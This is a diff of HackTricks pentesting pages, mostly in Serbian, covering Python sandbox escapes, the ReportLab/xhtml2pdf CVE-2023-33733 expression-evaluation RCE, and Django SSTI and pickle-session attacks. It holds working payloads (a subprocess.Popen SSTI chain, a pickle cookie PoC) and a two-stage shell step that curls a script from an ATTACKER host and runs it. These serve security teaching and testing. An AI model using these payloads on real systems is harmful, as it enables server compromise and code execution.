@@ -702,17 +711,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info) +**Više primera** o **format** **string** primerima možete pronaći na [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] -> Takođe proverite sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**: +> Proverite takođe sledeću stranicu za gadgets koji će r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Osetljive informacije o otkrivanju payload-a +### Payloads za otkrivanje osetljivih informacija ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -734,16 +743,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a ### From format to RCE loading libraries -Prema [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/), moguće je učitati proizvoljne biblioteke sa diska zloupotrebom ranjivosti format string u pythonu. +According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -Kao podsetnik, svaki put kada se izvrši neka akcija u pythonu, neka funkcija se izvršava. Na primer, `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**. +Kao podsetnik, svaki put kad se izvrši neka akcija u pythonu, neka funkcija se poziva. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**. -Imate više ovakvih u sekciji [**Python execution without calls**](#python-execution-without-calls). +Više primera imaš u sekciji [**Python execution without calls**](#python-execution-without-calls). -Ranjivost format string u pythonu ne omogućava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\ -Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima metodu **`__getitem__`** ili **`__getattr__`** koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE. +A python format string vuln ne dozvoljava izvršavanje funkcija (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\ +Međutim, moguće je koristiti `[]`. Dakle, ako neka česta python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti za dobijanje RCE. -Tražeći takav gadget u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Tražeći gadget takve vrste u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je našao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -765,20 +774,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server. +Ovaj gadget omogućava da se **učita biblioteka sa diska**. Stoga je potrebno nekako **zapisati ili otpremiti biblioteku koja će se učitati**, ispravno kompajliranu za napadnuti server. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Izazov zapravo koristi drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera. +The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. -## Istraživanje Python objekata +## Analiza Python objekata > [!TIP] > Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i potrebno je da pogledate **unutrašnjost** **funkcije** da biste ga izvukli. +U nekim CTFs može vam biti dat naziv **custom function where the flag** i potrebno je videti **internals** te **function** da biste ga izvukli. -Ovo je funkcija koju treba ispitati: +Ovo je function koju treba analizirati: ```python def get_flag(some_input): var1=1 @@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` i `func_globals` (isto) Dobija globalno okruženje. U primeru možete videti neke uvezene module, neke globalne promenljive i njihov sadržaj koji su deklarisani: +`__globals__` i `func_globals` (isti) dobijaju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov sadržaj: ```python get_flag.func_globals get_flag.__globals__ @@ -807,11 +816,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Pogledajte ovde više mesta za dobijanje globals**](#globals-and-locals) +[**See here more places to obtain globals**](#globals-and-locals) -### **Pristupanje kodu funkcije** +### **Pristup kodu funkcije** -**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete objekat koda** funkcije. +**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije. ```python # In our current example get_flag.__code__ @@ -871,7 +880,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Rastavljanje funkcije** +### **Disasembliranje funkcije** ```python import dis dis.dis(get_flag) @@ -899,7 +908,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Obratite pažnju da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset promenljive koja se učitava. +Imajte na umu da **ako ne možete da importujete `dis` u python sandboxu** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i **disassemble** je lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`) ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe govori offset varijable koja se učitava. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -921,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## Kompajliranje Pythona +## Compiling Python -Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam je **potrebno** da je **izvršite**.\ -Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_) +Sada, zamislimo da nekako možete **dump the information about a function that you cannot execute** ali je **morate** **execute**.\ +Kao u sledećem primeru, **možete pristupiti code object** te funkcije, ali samo čitajući disassemble **ne znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_) ```python def get_flag(some_input): var1=1 @@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### Kreiranje objekta koda +### Kreiranje code objekta -Prvo, moramo znati **kako da kreiramo i izvršimo objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije koja je procurila: +Prvo, moramo znati **kako kreirati i izvršiti code object** kako bismo mogli kreirati jedan koji će izvršiti našu leaked funkciju: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> U zavisnosti od verzije Pythona, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji Pythona koju koristite je da pokrenete: +> U zavisnosti od verzije python-a, **parametri** `code_type` mogu imati **drugi redosled**. Najbolji način da saznaš redosled parametara u verziji python-a koju pokrećeš je da pokreneš: > > ``` > import types @@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Rekreiranje provaljene funkcije +### Ponovno kreiranje leaked funkcije > [!WARNING] -> U sledećem primeru, uzet ćemo sve podatke potrebne za rekreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da prokrijumčarite**. +> U sledećem primeru uzećemo sve podatke potrebne da ponovo kreiramo funkciju direktno iz njenog function code object-a. U **pravom primeru**, sve **vrednosti** potrebne za izvršavanje funkcije **`code_type`** su ono što ćete morati da leak-ujete. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -983,10 +992,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji python kod koristeći `compile` funkciju**. Ovo je zanimljivo jer možete **izvršiti cele skripte** sa petljama i svime u **jednoj liniji** (i mogli bismo učiniti isto koristeći **`exec`**).\ -U svakom slučaju, ponekad bi moglo biti korisno **napraviti** **kompilovani objekat** na lokalnoj mašini i izvršiti ga na **CTF mašini** (na primer, zato što nemamo `compiled` funkciju u CTF-u). +U prethodnim primerima na početku ovog posta možete videti **how to execute any python code using the `compile` function**. To je interesantno zato što možete **izvršavati cele skripte** sa petljama i svime u **jednoj liniji** (i isto bismo mogli uraditi koristeći **`exec`**).\ +U svakom slučaju, ponekad može biti korisno **kreirati** **kompajlirani objekat** na lokalnoj mašini i izvršiti ga na **CTF machine** (na primer zato što nemamo `compiled` funkciju na CTF-u). -Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_: +Na primer, hajde da kompajliramo i ručno izvršimo funkciju koja čita _./poc.py_: ```python #Locally def read(): @@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **pravu funkciju**, ali direktno pozivanje obično će propasti sa: _konstruktor nije dostupan u ograničenom režimu_. Dakle, potrebna vam je **funkcija koja nije u ograničenom okruženju da pozovete ovu funkciju.** +Ako ne možete da pristupite `eval` ili `exec`, možete kreirati **pravu funkciju**, ali njen direktan poziv obično neće uspeti sa: _constructor not accessible in restricted mode_. Zato vam treba **funkcija van ograničenog okruženja koja će pozvati ovu funkciju.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1023,7 +1032,7 @@ f(42) ``` ## Decompiling Compiled Python -Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **dekompilirati** dati kompajlirani python kod. +Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **decompile** dati kompajlirani Python kod. **Pogledajte ovaj tutorijal**: @@ -1032,12 +1041,12 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Misc Python +## Razno Python ### Assert -Python koji se izvršava sa optimizacijama sa parametrom `-O` će ukloniti assert izjave i bilo koji kod uslovljen vrednošću **debug**.\ -Stoga, provere kao što su +Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti asset statements i bilo koji kod uslovljen vrednošću **debug**.\ +Stoga, provere kao ```python def check_permission(super_user): try: @@ -1056,5 +1065,8 @@ biće zaobiđeno - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) +- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) +- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md new file mode 100644 index 000000000..31ab32c8b --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -0,0 +1,79 @@ +# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) + +{{#include ../../../banners/hacktricks-training.md}} + +Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab’s rl_safe_eval koji koriste xhtml2pdf i drugi PDF-generacioni pipeline-ovi pri renderovanju korisnički kontrolisanog HTML-a u PDF. + +CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti umotane u triple brackets [[[ ... ]]] se evaluiraju server-side pomoću rl_safe_eval. Kreiranjem payload-a koji pivotira od whitelisted builtin-a (pow) ka njegovim Python function globals, napadač može doći do modula os i izvršavati komande. + +Ključne tačke +- Trigger: injektovati [[[ ... ]]] u evaluirane atribute kao što je unutar markupa koji parsira ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval zamenjuje opasne builtin-e, ali evaluirane funkcije i dalje izlažu __globals__. +- Bypass: napraviti transient klasu Word da se zaobiđu rl_safe_eval provere imena i pristupi stringu "__globals__" dok se izbegava blokiranje dunder-a. +- RCE: getattr(pow, Word("__globals__"))["os"].system("") +- Stabilnost: Vratiti validnu vrednost za atribut posle izvršenja (za color, koristiti 'red'). + +Kada testirati +- Aplikacije koje izlažu HTML-to-PDF eksport (profili, invoices, reports) i u PDF metadata ili HTTP response komentarima pokazuju xhtml2pdf/ReportLab. +- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer +- HTTP odgovor za PDF često počinje ReportLab generator komentarom + +Kako zaobilaženje sandboksa funkcioniše +- rl_safe_eval uklanja ili zamenjuje mnoge builtin-e (getattr, type, pow, ...) i primenjuje filtriranje imena da bi zabranio atribute koji počinju sa __ ili koji su na denylisti. +- Međutim, sigurne funkcije žive u globals dictionary dostupnom kao func.__globals__. +- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa mutiranim ponašanjem poredjenja tako da: + - .startswith('__') → uvek False (zaobilaženje provere name startswith('__')) + - .__eq__ vraća False samo pri prvom poređenju (zaobilaženje denylist membership provera) i True nakon toga (tako da Python getattr radi) + - .__hash__ je jednak hash(str(self)) +- Na ovaj način getattr(pow, Word('__globals__')) vraća globals dict obavijenog pow funkcijom, koji uključuje importovan os modul. Zatim: ['os'].system(''). + +Minimalni obrazac eksploatacije (primer atributa) +Postavite payload unutar evaluiranog atributa i obezbedite da vrati validnu vrednost atributa putem boolean i 'red'. + + +exploit + + +- Oblik list-comprehension omogućava jedini izraz prihvatljiv za rl_safe_eval. +- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne pukne. +- Zamenite komandu po potrebi; koristite ping za validaciju izvršenja uz tcpdump. + +Operativni tok rada +1) Identifikujte PDF generator +- PDF Producer prikazuje xhtml2pdf; HTTP response sadrži ReportLab komentar. +2) Pronađite input reflektovan u PDF (npr. profile bio/description) i pokrenite eksport. +3) Verifikujte izvršenje sa niskim nivoom buke ICMP-om +- Pokrenite: sudo tcpdump -ni icmp +- Payload: ... system('ping ') ... +- Windows često po defaultu šalje tačno četiri echo zahteva. +4) Uspostavite shell +- Za Windows, pouzdani dvostepeni pristup izbegava probleme sa citiranjem/enkodiranjem: +- Stage 1 (download): + +exploit + +- Stage 2 (execute): + +exploit + +- Za Linux ciljeve, slična dvofazna procedura sa curl/wget je moguća: +- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') + +Napomene i saveti +- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u takođe mogu evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.). +- Citiranje: Držite komande kompaktne. Dvofazna preuzimanja značajno smanjuju probleme sa citiranjem i escape-ovanjem. +- Pouzdanost: Ako su eksporti keširani ili u redu, blago varirajte payload (npr. random path ili query) da izbegnete keširanje. + +Ublažavanje i detekcija +- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosna obaveštenja i u paketima distribucija. +- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez stroge sanitizacije. Uklonite/zabranite [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepoverljiv. +- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval u potpunosti za nepoverljive inpute. +- Monitorišite sumnjive outbound konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa aplikacionih servera pri eksportovanju dokumenata). + +References +- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 127c90d1a..542b58db5 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -2,49 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -## Manipulacija kešom za RCE -Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [nepouzdani ulaz de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru**. +## Cache Manipulation to RCE +Podrazumevani način čuvanja cache-a u Django-u je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za upis u cache, može eskalirati ovu ranjivost u RCE na osnovnom serveru**. -Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji napadni vektori (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije. +Django cache se čuva na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili u [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache koji se čuva u Redis serveru ili bazi podataka predstavlja najverovatnije vektore napada (Redis injection i SQL injection), ali napadač takođe može iskoristiti file-based cache da pretvori proizvoljni upis u RCE. Održavaoci su ovo označili kao non-issue. Važno je napomenuti da će folder sa cache fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije. -Ovaj HackerOne izveštaj pruža odličan, ponovljiv primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436 +Ovaj HackerOne izveštaj daje odličan, ponovljiv primer iskorišćavanja Django cache-a koji se čuva u SQLite bazi: https://hackerone.com/reports/1415436 --- -## Injekcija šablona na serverskoj strani (SSTI) -Django Template Language (DTL) je **Turing-kompletan**. Ako se podaci koje je dostavio korisnik renderuju kao *šablonski string* (na primer, pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` uklanja automatsko eskapiranje), napadač može postići pun SSTI → RCE. +## Server-Side Template Injection (SSTI) +Django Template Language (DTL) je **Turing-complete**. Ako se podaci koje korisnik prosledi renderuju kao *template string* (na primer pozivom `Template(user_input).render()` ili kada `|safe`/`format_html()` ukloni automatsko escapovanje), napadač može postići potpun SSTI → RCE. -### Detekcija -1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koje* nefiltrirane podatke iz zahteva. -2. Pošaljite payload zasnovan na vremenu ili aritmetici: +### Detection +1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koji* nesanitizovani podatak iz zahteva. +2. Pošaljite time-based ili arithmetic payload: ```django {{7*7}} ``` -Ako renderovani izlaz sadrži `49`, ulaz se kompajlira od strane šablonskog engine-a. +Ako renderovani izlaz sadrži `49`, ulaz je kompajliran od strane template engine-a. -### Primitiv do RCE -Django blokira direktan pristup `__import__`, ali je Python objekat graf dostupan: +### Primitiv za RCE +Django blokira direktan pristup `__import__`, ali Python graf objekata je dostupan: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` -Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python verzije) i izvršite proizvoljne komande: +Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python builda) i izvršite proizvoljne komande: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` -Bezbedniji univerzalni uređaj je iterirati dok `cls.__name__ == 'Popen'`. +Sigurniji univerzalni gadget je iterirati dok `cls.__name__ == 'Popen'`. -Isti uređaj funkcioniše za **Debug Toolbar** ili **Django-CMS** funkcije renderovanja šablona koje pogrešno obrađuju korisnički unos. +Isti gadget radi za **Debug Toolbar** ili **Django-CMS** template rendering funkcije koje neispravno rukovode korisničkim unosom. + +--- + +### Takođe vidi: ReportLab/xhtml2pdf PDF export RCE +Aplikacije izgrađene na Django često integrišu xhtml2pdf/ReportLab za izvoz prikaza u PDF. Kada HTML pod kontrolom korisnika dospe u generisanje PDF-a, rl_safe_eval može evaluirati izraze unutar trostrukih zagrada `[[[ ... ]]]`, omogućavajući izvršavanje koda (CVE-2023-33733). Detalji, payloads i mitigations: + +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} --- ## Pickle-Backed Session Cookie RCE -Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django *dekriptuje i unpickles* kolačić sesije **pre** nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda. +Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili custom serializer koji deserializuje pickle), Django *decrypts and unpickles* session cookie **pre** pozivanja bilo kog view koda. Dakle, posedovanje važećeg signing key-a (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu remote code execution. -### Zahtevi za Eksploataciju +### Exploit Requirements * Server koristi `PickleSerializer`. -* Napadač zna / može da pogodi `settings.SECRET_KEY` (curenja putem GitHub-a, `.env`, stranica sa greškama, itd.). +* Napadač zna / može pogoditi `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). -### Dokaz-Koncept +### Proof-of-Concept ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer @@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radnika. +Pošaljite dobijeni cookie — payload se izvršava sa privilegijama WSGI workera. -**Mere zaštite**: Držite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`. +**Mitigations**: Zadržite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`. --- -## Nedavne (2023-2025) visoko uticajne Django CVE koje pentesteri treba da provere -* **CVE-2025-48432** – *Log Injection putem neizbeženog `request.path`* (ispravljeno 4. juna 2025). Omogućava napadačima da prokrijumčare nove linije/ANSI kodove u log fajlove i otrovaju analizu logova nizvodno. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Kritična SQL injekcija* u `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Kreirajte JSON ključeve da biste izašli iz navodnika i izvršili proizvoljan SQL. Ispravljeno u 4.2.15 / 5.0.8. +## Nedavni (2023-2025) CVE-ovi za Django visokog uticaja koje Pentesters treba da provere +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (ispravljeno 4. jun 2025). Omogućava napadačima da ubace newlines/ANSI kodove u log fajlove i zagade naknadnu analizu logova. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Kreiranjem JSON ključeva moguće je prekinuti citiranje i izvršiti proizvoljan SQL. Ispravljeno u verzijama 4.2.15 / 5.0.8. -Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice greške ili `/static/admin/css/base.css` hash-a i testirajte navedeno gde je primenljivo. +Uvek identifikujte tačnu verziju framework-a pomoću stranice greške za `X-Frame-Options` ili hasha `/static/admin/css/base.css` i testirajte gore navedeno gde je primenljivo. --- ## Reference -* Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 rešava CVE-2025-48432" – 4. jun 2025. -* OP-Innovate: "Django objavljuje bezbednosne ažuriranja za rešavanje SQL injekcije CVE-2024-42005" – 11. avgust 2024. +* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}